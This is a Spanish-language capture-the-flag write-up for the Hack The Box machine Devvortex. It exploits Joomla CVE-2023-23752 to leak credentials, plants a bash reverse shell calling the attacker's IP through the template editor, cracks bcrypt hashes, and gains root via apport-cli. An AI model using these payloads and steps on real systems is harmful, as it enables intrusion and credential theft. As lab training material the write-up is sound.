🟩HTB - Devvortex

https://app.hackthebox.com/machines/Devvortex

Información General

  • Nombre de la Máquina: Devvortex

  • IP de la Máquina: 10.10.11.242

  • Sistema Operativo: Linux

  • Dificultad: Easy

  • Fecha de Publicación: 25 nov 2023


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la dirección IP de la máquina objetivo:

settarget 10.10.11.242

Ping de reconocimiento

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.10.11.242 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.242 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80 10.10.11.242 -oN targeted
cat targeted -l java

Para añadir la entrada "10.10.11.242 devvortex.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.242 devvortex.htb" | sudo tee -a /etc/hosts

Este comando añade la dirección IP 10.10.11.242 asociada al nombre de host devvortex.htb al archivo /etc/hosts de tu sistema.

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dir -u http://devvortex.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Pero después de un rato nos damos cuenta que no encontramos nada util, por lo que continuamos buscando subdominios:

gobuster dns -d devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50

Agregamos la nueva ruta al hosts...

echo "10.10.11.242 dev.devvortex.htb" | sudo tee -a /etc/hosts

Y gracias al robots.txt sabemos que es Joomla

Exploitation

Buscamos en internet y nos encontramos que podría ser vulnerable al CVE-2023-23752 (https://www.exploit-db.com/exploits/51334)

curl "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | jq .

Ahora que estamos dentro, lo que buscamos es lograr ejecutar una reverse shell editando algun archivo con el editor de Joomla.

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.80/8080 0>&1'");

Luego ejecutamos /administrator/atum/index.php mientras tenemos nc a la escucha...

Podemos mejorar la UX de nuestra shell:

script /dev/null -c /bin/bash 
stty raw -echo; fg
export TERM=xterm

Descubrimos que las credenciales para ingresar a la base de datos son las mismas por lo que nos ponemos a curosear:

 mysql -u lewis -p
 Password: P4n*****r3c0n##
show databases;
use joomla;
select * from sd4fg_users;

Intentamos crackear con John... descubriendo la contraseña (teq******cho)

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Privilege Escalation

Ya dentro de nuestra shell, ejecutamos como siempre sudo -l

Esto quiere que podria correr /usr/bin/apport-cli con sudo, buscando en internet veo que es un CVE (https://github.com/diego-tella/CVE-2023-1326-PoC).

Al parecer al abrir un reporte podemos bypassear y llegar a ser root. Me doy cuenta que en mi caso no tengo ningún reporte por lo que debo primero crear uno:

Luego vemos el reporte y inyectamos nuestro "!/bin/bash" para byppasear.

Última actualización